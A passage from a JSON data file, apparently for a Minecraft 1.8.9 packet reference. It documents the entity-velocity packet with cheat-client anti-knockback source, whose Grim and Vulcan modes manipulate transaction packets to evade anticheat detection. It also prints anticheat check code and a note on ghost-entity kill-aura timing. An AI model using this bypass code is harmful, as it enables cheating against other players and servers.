      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/VelocityModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S12PacketEntityVelocity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"Velocity\",\n  description = \"Reduces or cancels out taken velocity\",\n  category = Category.COMBAT\n)\npublic class VelocityModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.CANCEL);\n\n  private final Setting<Float> horizontal = new Setting<>(\n    () -> mode.getValue() == Mode.REDUCE || mode.getValue() == Mode.REVERSE,\n    \"Horizontal\",\n    50.0f,\n    0.01f,\n    0.0f,\n    200.0f\n  );\n  private final Setting<Float> vertical = new Setting<>(\n    () -> mode.getValue() == Mode.REDUCE || mode.getValue() == Mode.REVERSE,\n    \"Vertical\",\n    50.0f,\n    0.01f,\n    0.0f,\n    200.0f\n  );\n\n  private final Queue<Short> transactionQueue = new ConcurrentLinkedQueue<>();\n  private boolean funny;\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    funny = false;\n    transactionQueue.clear();\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mode.getValue() == Mode.GRIM) {\n      // finish trolling\n      if (transactionQueue.isEmpty() && funny) funny = false;\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mc.thePlayer == null || mc.theWorld == null) {\n      // basic resets\n      funny = false;\n      if (!transactionQueue.isEmpty()) transactionQueue.clear();\n\n      return;\n    }\n\n    if (event.get() instanceof S12PacketEntityVelocity packet) {\n      if (packet.getEntityID() != mc.thePlayer.getEntityId()) return;\n\n      switch (mode.getValue()) {\n        case REDUCE, REVERSE -> {\n          packet.setMotionX(\n            (int) (packet.getMotionX() * (horizontal.getValue() / 100.0f))\n          );\n          packet.setMotionY(\n            (int) (packet.getMotionY() * (vertical.getValue() / 100.0f))\n          );\n          packet.setMotionZ(\n            (int) (packet.getMotionZ() * (horizontal.getValue() / 100.0f))\n          );\n\n          if (mode.getValue() == Mode.REVERSE) {\n            packet.setMotionX(-packet.getMotionX());\n            packet.setMotionY(-packet.getMotionY());\n            packet.setMotionZ(-packet.getMotionZ());\n          }\n        }\n        case CANCEL, GRIM, VULCAN -> {\n          event.setCanceled(true);\n          if (\n            mode.getValue() == Mode.GRIM || mode.getValue() == Mode.VULCAN\n          ) funny = true;\n        }\n        case INTAVE -> {\n          // TODO: i have no clue\n        }\n        case WATCHDOG -> {\n          // TODO: frappy or plus add this i dont have alts\n        }\n        case WATCHDOG_SAFE -> {\n          event.setCanceled(true);\n\n          if (mc.thePlayer.onGround) {\n            // as far as im aware, this should work\n            mc.thePlayer.motionY += (double) packet.getMotionY() / 8000.0;\n          }\n        }\n      }\n    } else if (event.get() instanceof S32PacketConfirmTransaction packet) {\n      if (mode.getValue() == Mode.GRIM) {\n        if (!funny) return;\n        event.setCanceled(true);\n        transactionQueue.add(packet.getActionNumber());\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C0FPacketConfirmTransaction packet) {\n      if (mode.getValue() == Mode.GRIM) {\n        if (!funny || transactionQueue.isEmpty()) return;\n\n        // if the queue contains our transaction UID, cancel\n        if (transactionQueue.remove(packet.getUid())) event.setCanceled(true);\n      } else if (mode.getValue() == Mode.VULCAN) {\n        // this works on older versions of vulcan\n        if (funny) {\n          event.setCanceled(true);\n          funny = false;\n        }\n      }\n    }\n  };\n\n  private enum Mode {\n    REDUCE,\n    REVERSE,\n    CANCEL,\n    GRIM,\n    INTAVE,\n    VULCAN,\n    WATCHDOG,\n    WATCHDOG_SAFE,\n  }\n}\n// NOTE (AI): VelocityModule is a per-mode anti-knockback. REDUCE and REVERSE scale the motion fields in place using horizontal and vertical percentages, REVERSE negates the result, CANCEL, GRIM and VULCAN cancel the event outright, INTAVE and WATCHDOG are TODO stubs, and WATCHDOG_SAFE cancels the packet then re-applies the vertical component directly to motionY only while on the ground. GRIM mode pairs the S12 cancel with S32 confirm-transaction buffering: incoming S32 actions are queued and the matching C0F echo is cancelled on the send side, hiding the transaction gap Grim uses to detect velocity removal. VULCAN cancels a single C0F echo after the first knockback to break the check's sync window. The funny flag gates both transaction paths.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/VelocityModule.java",
      "vanilla_hook": "EventPacket.In (S12, S32), EventPacket.Out (C0F), EventUpdate.",
      "anti_cheat_notes": "In-place scaling is the stealthiest path; outright cancel is the fastest flag on any velocity check. The GRIM transaction buffer exists because Grim correlates the S32/C0F gap with knockback, so the module hides both at once; the WATCHDOG_SAFE vertical re-apply keeps the server's expected motion curve while zeroing horizontal drift.",
      "variations": "Memeware and Nekoware cancel with no modes; Rise 6.x splits per-anticheat handling across Mode subclasses of the Velocity module; November packs the modes into one class with transaction buffering built in."
     }
    ],
    "general_hooks": "PacketReceiveEvent is universal; the packet is re-set on the event in Rise (event.setPacket) and mutated or cancelled in place on classic event buses (Memeware, Nekoware, Sigma, Spicy). Rise 6.x handles it through the component system and the Velocity module's Mode classes.",
    "client_variations": "Memeware/Nekoware cancel inside PacketInEvent; Spicy mutates the packet object and cancels the event; Tenacity cancels or scales via IEventListener; Rise 5.99 replaces the packet on the event; Rise 6.x re-sets it and additionally buffers it in PingSpoofComponent; Sigma mutates or cancels and injects C04 for the AACFlag mode. November Recode 2.0 cancels or mutates the packet inside EventPacket.In and additionally hooks C0F sends for the GRIM and VULCAN transaction games.",
    "related": [
     "S27PacketExplosion",
     "S08PacketPlayerPosLook",
     "S0FPacketSpawnMob"
    ],
    "anticheat": {
     "overview": "S12 is the server telling the client to apply a velocity vector, normally knockback, and every anticheat treats it as a promise: the client's next movement ticks must reflect the vector it was sent. The corpus splits into direct statistical checks (Azure VelocityA compares the vertical delta against the sent vector) and transaction-ordered simulation checks (Grim KnockbackHandler, Artemis VelocityPreProcessor, Frequency VelocityManager) that know exactly when the packet arrived at the client and require the knockback in the following prediction. This packet is the reason anti-knockback cheats cancel or alter S12 specifically.",
     "checks": [
      {
       "name": "KnockbackHandler / AntiKB (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Requires the client's simulated motion to include the exact knockback vector the server sent, flagging any reduction or delay.",
       "how_it_works": "On the OUT side, wraps each entity-velocity packet for the player (or their vehicle) between two transaction packets, recording the vector with the first transaction id. As client transactions arrive, knockbacks move from a future queue into known-taken state; the prediction engine then compares the player's actual movement against the required knockback, accumulating a threshold-bounded buffer and triggering a setback above the immediate threshold.",
       "detects": "Anti-knockback, velocity cancel and velocity reduction cheats, including selective cancels that take partial knockback.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/velocity/KnockbackHandler.java =====\npackage ac.grim.grimac.checks.impl.velocity;\n\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.checks.type.PostPredictionListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.PredictionComplete;\nimport ac.grim.grimac.utils.data.Pair;\nimport ac.grim.grimac.utils.data.VectorData;\nimport ac.grim.grimac.utils.data.VelocityData;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityVelocity;\nimport lombok.Getter;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.Deque;\nimport java.util.LinkedList;\n\n// We are making a velocity sandwich between two pieces of transaction packets (bread)\n@CheckData(name = \"AntiKB\", stableKey = \"grim.velocity.anti_knockback\", alternativeName = \"AntiKnockback\", configName = \"Knockback\", description = \"Did not take the expected entity knockback\", setback = 10, decay = 0.025)\npublic class KnockbackHandler extends Check implements PacketSendListener, PostPredictionListener {\n    private static final Verbose V = Verbose.of(\"[ignored knockback|o: {offset}]\");\n\n    private final Deque<VelocityData> firstBreadMap = new LinkedList<>();\n\n    private final Deque<VelocityData> lastKnockbackKnownTaken = new LinkedList<>();\n    private VelocityData firstBreadOnlyKnockback = null;\n    @Getter\n    private boolean knockbackPointThree = false;\n\n    private double offsetToFlag;\n    private double maxAdv, immediate, ceiling, multiplier;\n\n    private double threshold;\n\n    public KnockbackHandler(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.ENTITY_VELOCITY) {\n            WrapperPlayServerEntityVelocity velocity = new WrapperPlayServerEntityVelocity(event);\n            int entityId = velocity.getEntityId();\n\n            // Detect whether this knockback packet affects the player or if it is useless\n            // Mojang sends extra useless knockback packets for no apparent reason\n            if (player.compensatedEntities.serverPlayerVehicle != null && entityId != player.compensatedEntities.serverPlayerVehicle) {\n                return;\n            }\n            if (player.compensatedEntities.serverPlayerVehicle == null && entityId != player.entityID) {\n                return;\n            }\n\n            // If the player isn't in a vehicle and the ID is for the player, the player will take kb\n            // If the player is in a vehicle and the ID is for the player's vehicle, the player will take kb\n            Vector3d playerVelocity = velocity.getVelocity();\n\n            // Blacklist problemated vector until mojang fixes a client-sided bug\n            if (playerVelocity.getY() == -0.04) {\n                velocity.setVelocity(playerVelocity.add(new Vector3d(0, 1 / 8000D, 0)));\n                playerVelocity = velocity.getVelocity();\n                event.markForReEncode(true);\n            }\n\n            playerVelocity = VectorPrecisionConverter.convert(player.getClientVersion(), playerVelocity);\n\n            // Wrap velocity between two transactions\n            player.sendTransaction();\n            addPlayerKnockback(entityId, player.lastTransactionSent.get(), new Vector3dm(playerVelocity.getX(), playerVelocity.getY(), playerVelocity.getZ()));\n            event.getTasksAfterSend().add(player::sendTransaction);\n        }\n    }\n\n    @NotNull\n    public Pair<VelocityData, Vector3dm> getFutureKnockback() {\n        // Chronologically in the future\n        if (!firstBreadMap.isEmpty()) {\n            VelocityData data = firstBreadMap.peek();\n            return new Pair<>(data, data != null ? data.vector : null);\n        }\n\n        // Less in the future\n        if (!lastKnockbackKnownTaken.isEmpty()) {\n            VelocityData data = lastKnockbackKnownTaken.peek();\n            return new Pair<>(data, data != null ? data.vector : null);\n        }\n\n        // Uncertain, might be in the future\n        if (player.firstBreadKB != null && player.likelyKB == null) {\n            VelocityData data = player.firstBreadKB;\n            return new Pair<>(data, data.vector.clone());\n        } else if (player.likelyKB != null) { // Known to be in the present\n            VelocityData data = player.likelyKB;\n            return new Pair<>(data, data.vector.clone());\n        }\n        return new Pair<>(null, null);\n    }\n\n    private void addPlayerKnockback(int entityID, int breadOne, @NotNull Vector3dm knockback) {\n        firstBreadMap.add(new VelocityData(entityID, breadOne, player.getSetbackTeleportUtil().isSendingSetback, knockback));\n    }\n\n    public VelocityData calculateRequiredKB(int entityID, int transaction, boolean isJustTesting) {\n        tickKnockback(transaction);\n\n        VelocityData returnLastKB = null;\n        for (VelocityData data : lastKnockbackKnownTaken) {\n            if (data.entityID == entityID)\n                returnLastKB = data;\n        }\n\n        if (!isJustTesting) {\n            lastKnockbackKnownTaken.clear();\n        }\n        return returnLastKB;\n    }\n\n    private void tickKnockback(int transactionID) {\n        firstBreadOnlyKnockback = null;\n        if (firstBreadMap.isEmpty()) return;\n        VelocityData data = firstBreadMap.peek();\n        while (data != null) {\n            if (data.transaction == transactionID) { // First bread knockback\n                firstBreadOnlyKnockback = new VelocityData(data.entityID, data.transaction, data.isSetback, data.vector);\n                //firstBreadMap.poll();\n                break; // All knockback after this will have not been applied\n            } else if (data.transaction < transactionID) { // This kb has 100% arrived to the player\n                VelocityData velocityData = new VelocityData(data.entityID, data.transaction, data.isSetback, data.vector);\n\n                if (firstBreadOnlyKnockback != null) { // Don't require kb twice\n                    velocityData.offset = data.offset;\n                }\n\n                lastKnockbackKnownTaken.add(velocityData);\n\n                // Knockback has been applied and is now required, remove it from first bread\n                firstBreadOnlyKnockback = null;\n                firstBreadMap.poll();\n                data = firstBreadMap.peek();\n            } else { // We are too far ahead in the future\n                break;\n            }\n        }\n    }\n\n    public void forceExempt() {\n        // Unsure knockback was taken\n        if (player.firstBreadKB != null) {\n            player.firstBreadKB.offset = 0;\n        }\n\n        if (player.likelyKB != null) {\n            player.likelyKB.offset = 0;\n        }\n    }\n\n    public void setPointThree(boolean isPointThree) {\n        knockbackPointThree = knockbackPointThree || isPointThree;\n    }\n\n    public void handlePredictionAnalysis(double offset) {\n        if (player.firstBreadKB != null) {\n            player.firstBreadKB.offset = Math.min(player.firstBreadKB.offset, offset);\n        }\n\n        if (player.likelyKB != null) {\n            player.likelyKB.offset = Math.min(player.likelyKB.offset, offset);\n        }\n    }\n\n    @Override\n    public void onPredictionComplete(final PredictionComplete predictionComplete) {\n        double offset = predictionComplete.getOffset();\n        if (!predictionComplete.isChecked() || predictionComplete.getData().isTeleport()) {\n            forceExempt();\n            return;\n        }\n\n        boolean wasZero = knockbackPointThree;\n        knockbackPointThree = false;\n\n        if (player.likelyKB == null && player.firstBreadKB == null) {\n            return;\n        }\n\n        if (player.predictedVelocity.isFirstBreadKb()) {\n            firstBreadOnlyKnockback = null;\n            firstBreadMap.poll(); // Remove from map so we don't pull it again\n        }\n\n        if (wasZero || player.predictedVelocity.isKnockback()) {\n            // Unsure knockback was taken\n            if (player.firstBreadKB != null) {\n                player.firstBreadKB.offset = Math.min(player.firstBreadKB.offset, offset);\n            }\n\n            // 100% known kb was taken\n            if (player.likelyKB != null) {\n                player.likelyKB.offset = Math.min(player.likelyKB.offset, offset);\n            }\n        }\n\n        if (player.likelyKB != null) {\n            if (player.likelyKB.offset > offsetToFlag) {\n                threshold = Math.min(threshold + player.likelyKB.offset, ceiling);\n                if (player.likelyKB.isSetback) { // Don't increase violations if this velocity was setback, just teleport and resend them velocity.\n                    if (!isNoSetbackPermission()) {\n                        player.getSetbackTeleportUtil().executeViolationSetback();\n                    }\n                } else {\n                    boolean ignored = player.likelyKB.offset == Integer.MAX_VALUE;\n                    if (flag(V.write(verbose()).bool(ignored).f64(player.likelyKB.offset))) { // This velocity was sent by the server.\n                        if (player.likelyKB.offset >= immediate || threshold >= maxAdv) {\n                            setbackIfAboveSetbackVL();\n                        }\n                    } else {\n                        reward();\n                    }\n                }\n            } else if (threshold > 0.05) {\n                threshold *= multiplier;\n            }\n        }\n    }\n\n    public boolean shouldIgnoreForPrediction(VectorData data) {\n        if (data.isKnockback() && data.isFirstBreadKb()) {\n            return player.firstBreadKB.offset > offsetToFlag;\n        }\n        return false;\n    }\n\n    public boolean wouldFlag() {\n        return (player.likelyKB != null && player.likelyKB.offset > offsetToFlag) || (player.firstBreadKB != null && player.firstBreadKB.offset > offsetToFlag);\n    }\n\n    public VelocityData calculateFirstBreadKnockback(int entityID, int transaction) {\n        tickKnockback(transaction);\n        if (firstBreadOnlyKnockback != null && firstBreadOnlyKnockback.entityID == entityID)\n            return firstBreadOnlyKnockback;\n        return null;\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        offsetToFlag = config.getDoubleElse(\"Knockback.threshold\", 0.001);\n        maxAdv = config.getDoubleElse(\"Knockback.max-advantage\", 1);\n        immediate = config.getDoubleElse(\"Knockback.immediate-setback-threshold\", 0.1);\n        multiplier = config.getDoubleElse(\"Knockback.setback-decay-multiplier\", 0.999);\n        ceiling = config.getDoubleElse(\"Knockback.max-ceiling\", 4);\n        if (maxAdv < 0) maxAdv = Double.MAX_VALUE;\n        if (immediate < 0) immediate = Double.MAX_VALUE;\n    }\n\n}\n// NOTE (AI): Grim even rewrites a vanilla bug vector (Y = -0.04) before recording it, so the required knockback matches what the client actually applies.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/velocity/KnockbackHandler.java",
       "variations": "Artemis VelocityPreProcessor applies the velocity in a transaction-confirmed pre action; Grim instead leaves it in a queue until the client's transactions prove arrival."
      },
      {
       "name": "VelocityA (Azure)",
       "found_in": [
        "AimbotPvP-azure-anticheat"
       ],
       "purpose": "Classic 1.8 statistical check: the reported upward move after a knockback packet must be at least 77 percent of the sent vertical velocity.",
       "how_it_works": "Reads the OUT entity-velocity packet, keeps the vertical component (field c divided by 8000.0) when the entity id matches the player, and skips causes that do not produce knockback (starvation, fire, drowning, poison, wither, thorns, fall, lava). On the next upward move it compares deltaY to the recorded velocity and reports the taken percentage as a violation.",
       "detects": "Anti-knockback that reduces or zeroes vertical velocity; the percentage reported makes the flag self-documenting.",
       "detailed_code": "// ===== FILE: AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/combat/velocity/VelocityA.java =====\npackage us.skidrevenant.azure.check.checks.combat.velocity;\n\nimport net.minecraft.server.v1_8_R3.Packet;\nimport net.minecraft.server.v1_8_R3.PacketPlayOutEntityVelocity;\nimport org.bukkit.Location;\nimport org.bukkit.event.player.PlayerMoveEvent;\nimport us.skidrevenant.azure.check.Check;\nimport us.skidrevenant.azure.stats.PlayerStats;\nimport us.skidrevenant.azure.util.reflection.ReflectionUtil;\n\n/**\n * @author SkidRevenant\n * at 30/05/2018\n */\npublic class VelocityA extends Check {\n\n    private double verticalVelocity;\n\n    public VelocityA(PlayerStats player) {\n        super(player);\n    }\n\n    @Override\n    public void onMove(Location from, Location to, PlayerMoveEvent event) {\n        if (from.getY() >= to.getY()) {\n            return;\n        }\n\n        double deltaY = to.getY() - from.getY();\n\n        if (deltaY > 0 && deltaY < 0.42 && deltaY < verticalVelocity * 0.77) {\n            long velocity = Math.round(100.0 * deltaY / verticalVelocity);\n            verticalVelocity = 0;\n\n            onViolation(String.format(\"Velocity Type A (%d%%)\", velocity), 10000L, 4);\n        }\n    }\n\n    @Override\n    public void onPacketSend(Class<? extends Packet> type, Packet packet) {\n        if (type == PacketPlayOutEntityVelocity.class) {\n            PacketPlayOutEntityVelocity entityVelocity = (PacketPlayOutEntityVelocity) packet;\n\n            int entityId = ReflectionUtil.getFieldValue(ReflectionUtil.getField(PacketPlayOutEntityVelocity.class, \"a\", int.class), entityVelocity);\n\n            if (entityId == player.getBukkitPlayer().getEntityId()) {\n\n                if (player.getBukkitPlayer().getLastDamageCause() != null) {\n                    switch (player.getBukkitPlayer().getLastDamageCause().getCause()) {\n                        case STARVATION:\n                        case FIRE_TICK:\n                        case DROWNING:\n                        case POISON:\n                        case WITHER:\n                        case THORNS:\n                        case FALL:\n                        case LAVA:\n                        case FIRE:\n\n                            verticalVelocity = 0;\n                            return;\n                    }\n                }\n\n                verticalVelocity = (int) ReflectionUtil.getFieldValue(ReflectionUtil.getField(PacketPlayOutEntityVelocity.class, \"c\", int.class), entityVelocity) / 8000.0;\n            }\n\n        }\n    }\n}\n// NOTE (AI): Reflection-based field access is used instead of a wrapper, typical of the 1.8 generation.",
       "code_source": "AimbotPvP-azure-anticheat, src/main/java/us/skidrevenant/azure/check/checks/combat/velocity/VelocityA.java",
       "variations": "Rammelkast VelocityCheck and MIU AntiVelocity use the same sent-vector-vs-delta comparison; Grim and Artemis add transaction ordering on top."
      },
      {
       "name": "VelocityManager feed (Frequency)",
       "found_in": [
        "ElevatedDev-Frequency"
       ],
       "purpose": "Records every player-targeted S12 into a short-lived velocity window that all movement checks read for exemptions and baselines.",
       "how_it_works": "The outgoing packet processor wraps each entity-velocity packet, and when the entity id is the player, pushes the vector into the VelocityManager. The manager keeps snapshots with horizontal and vertical magnitudes for two seconds, exposing max values that the speed and invalid checks add to their expected baselines, and the VELOCITY exemption type switches off checks while a recent velocity is active.",
       "detects": "Anti-knockback cheats are detected by the speed and invalid checks because the expected velocity baseline is missing or reduced.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/processor/impl/OutgoingPacketProcessor.java =====\npackage xyz.elevated.frequency.processor.impl;\n\nimport net.minecraft.server.v1_8_R3.*;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.processor.type.Processor;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutKeepAlive;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutEntityVelocity;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutTeleport;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutTransaction;\n\npublic final class OutgoingPacketProcessor implements Processor<Packet<PacketListenerPlayOut>> {\n\n    @Override\n    public void process(final PlayerData playerData, final Packet<PacketListenerPlayOut> packet) {\n        if (packet instanceof PacketPlayOutEntityVelocity) {\n            final WrappedPlayOutEntityVelocity wrapper = new WrappedPlayOutEntityVelocity(packet);\n\n            final int packetEntityId = wrapper.getEntityId();\n            final int playerEntityId = playerData.getBukkitPlayer().getEntityId();\n\n            if (packetEntityId == playerEntityId) {\n                final double velocityX = wrapper.getX();\n                final double velocityY = wrapper.getY();\n                final double velocityZ = wrapper.getZ();\n\n                playerData.getVelocityManager().addVelocityEntry(velocityX, velocityY, velocityZ);\n            }\n        } else if (packet instanceof PacketPlayOutEntityTeleport) {\n            final WrappedPlayOutTeleport wrapper = new WrappedPlayOutTeleport(packet);\n\n            final int entityId = wrapper.getEntityId();\n            final int playerId = playerData.getBukkitPlayer().getEntityId();\n\n            if (entityId == playerId) {\n                playerData.getActionManager().onTeleport();\n            }\n        } else if (packet instanceof PacketPlayOutPosition) {\n            playerData.getActionManager().onTeleport();\n        }\n    }\n}\n// NOTE (AI): The processor also feeds teleport events (entity teleport and position packets) into the action manager, keeping velocity and teleport exemptions in one stream.",
       "code_source": "ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/processor/impl/OutgoingPacketProcessor.java",
       "variations": "Azure VelocityA keeps a single vertical velocity scalar; Frequency keeps a time-windowed deque so exemptions decay naturally."
      },
      {
       "name": "VelocityPreProcessor (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Applies the S12 velocity to the movement holder only after the client confirms the packet, so prediction checks see it in the correct tick.",
       "how_it_works": "Matches the OUT entity-velocity packet for the player's entity id, builds a Velocity object, and registers it in the connection's transaction confirmation. The pre action moves the current velocity into lastVelocity and installs the new vector as processed; the post action clears the processed flag when the transaction returns.",
       "detects": "Velocity spoofing where a client applies knockback at the wrong time or not at all, which shows up as a prediction residual.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/velocity/VelocityPreProcessor.java =====\npackage ac.artemis.core.v4.processor.velocity;\n\nimport ac.artemis.core.v4.check.TeleportHandler;\nimport ac.artemis.core.v4.check.VelocityHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.utils.chat.Chat;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientTransaction;\nimport ac.artemis.core.v4.utils.position.Velocity;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityVelocity;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerTransaction;\n\nimport java.util.*;\n\npublic class VelocityPreProcessor extends AbstractHandler {\n\n    public VelocityPreProcessor(final PlayerData data) {\n        super(\"Velocity [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        // If the packet is a velocity packet\n        if (packet instanceof GPacketPlayServerEntityVelocity) {\n\n            // Assign the packet\n            final GPacketPlayServerEntityVelocity vel = (GPacketPlayServerEntityVelocity) packet;\n\n            // Ensure the packet's entity id corresponds to the player's\n            if (vel.getEntityId() == data.getPlayer().getEntityId()) {\n\n                // Create a new velocity object\n                final Velocity velocity = new Velocity(vel.getValueX(), vel.getValueY(), vel.getZ());\n\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        // If the previous velocity isn't null, assign it to this variable\n                        if (data.movement.getVelocity() != null) data.movement.setLastVelocity(data.movement.getVelocity());\n\n                        // Assign the velocity\n                        data.movement.setVelocity(velocity);\n\n                        // Set the boolean as processed\n                        data.movement.setProcessedVelocity(true);\n                    }\n\n                    @Override\n                    public void post() {\n                        data.movement.setProcessedVelocity(false);\n                    }\n                });\n            }\n        }\n    }\n}\n// NOTE (AI): Keeping lastVelocity lets checks distinguish a fresh knockback from a stale one across the confirm boundary.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/velocity/VelocityPreProcessor.java",
       "variations": "Grim queues knockbacks against transaction ids; Artemis installs them in a confirmation callback, which is the same ordering idea with different storage."
      }
     ]
    }
   },
   "wiki_notes": [
    "PLAY id 0x12: VarInt entityId plus three signed shorts; real motion equals encoded value / 8000.0, clamped near +-3.9.",
    "Handler writes motionX/Y/Z directly with no interpolation, so cancel-or-scale hooks are the standard anti-knockback point.",
    "MCP 1.8.9 S12PacketEntityVelocity implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityVelocity; wire serde is readPacketData/writePacketData via readShort, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.? sends new S12PacketEntityVelocity (line 238) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S12PacketEntityVelocity/",
   "mcp_path": "net/minecraft/network/play/server/S12PacketEntityVelocity.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry",
    "EntityPlayer"
   ]
  },
  {
   "id": "S13PacketDestroyEntities",
   "hex": "0x13",
   "dec": 19,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Destroy Entities",
   "desc": "Removes one or more entities from the client's render list.",
   "tags": [
    "entity",
    "despawn"
   ],
   "fields": [
    {
     "name": "entityIDs",
     "type": "VarInt[]",
     "desc": "Array of entity IDs to destroy"
    }
   ],
   "encoding": [
    [
     "Count",
     "VarInt",
     "Number of entities"
    ],
    [
     "Entity IDs",
     "VarInt array",
     "One VarInt per entity"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleDestroyEntities()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "This is how entities are removed when they die, despawn, or players disconnect.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The batch removal packet: a VarInt count followed by that many VarInt entity ids. The server flushes it from EntityPlayerMP.destroyEntitiesInWorld each tick with the accumulated destroy list, and sends the single-id form when a specific entity is removed (player disconnect, entity despawn). The client removes each id from the world's loaded entity list and clears the render manager's entry in handleDestroyEntities, which is how dead mobs, picked-up items and left players vanish."
     },
     {
      "h": "Vanilla handling",
      "p": "EntityPlayerMP accumulates entity ids to destroy and sends one S13 per tick in destroyEntitiesInWorld; the single-id constructor is used by removeEntity and on player disconnects. NetHandlerPlayClient.handleDestroyEntities iterates the ids, removes each from world.loadedEntityList, clears the entity's render state and drops it from the client's entity lookup. Because removal is id-based and immediate, any client cache keyed by entity id must prune itself on S13 or it will hold stale entries."
     },
     {
      "h": "Why clients touch it",
      "p": "Cleanup is the theme. Sigma 4.11 Ranking removes hit and prosecutor records for destroyed ids so a kill stat cannot fire after the target despawns. Rise's TranslationComponent maps S13 through the DESTROY_ENTITY entry of its PacketType enum, deleting the entity's position from the bypass map. Rise's PingSpoofComponent buffers S13 inside the players tuple so destruction stays ordered relative to held entity updates. KillAura and ESP target lists in these clients hold entity objects from the world list, so the vanilla removal handles them with no packet hook. November Recode 2.0's AntiBotModule watches S13 in WATCHDOG mode: when the destroyed ids include the bot it detected above the player, it prints a staff-removal notice and re-arms the spawn veto."
     },
     {
      "h": "Exploit surface",
      "p": "S13 is a pure removal vector: the server despawns arbitrary ids, and the client has no say in it. The abuse angle is timing: entities destroyed on the server remain attackable client-side only if the client delays the packet, which is exactly what buffering S13 in PingSpoofComponent does, keeping ghost entities alive for the spoof window. Anti-cheats watch for players attacking ids that were destroyed server-side (attack-after-desync), the signature of ghost-entity kill aura; a client that buffers S13 must also stop targeting those ids when the flush lands."
     }
    ],
    "overview": "The batch entity-removal packet. In the reference corpus its handlers are all cache pruning: Sigma's Ranking drops hit/prosecutor records, Rise's TranslationComponent removes map entries through DESTROY_ENTITY, and Rise's PingSpoofComponent buffers it with the entity stream so destruction stays ordered while ping spoofing. KillAura and ESP need no hook because their target lists are world-entity objects.",
    "server_handling": "EntityPlayerMP.destroyEntitiesInWorld collects pending entity ids and sends a single S13 per tick; the single-id form is sent by removeEntity and on player disconnects. The client handler iterates the ids, removes each entity from world.loadedEntityList, clears its render state and drops it from the entity lookup. No validation is applied to the id list, so ids that do not exist are ignored.",
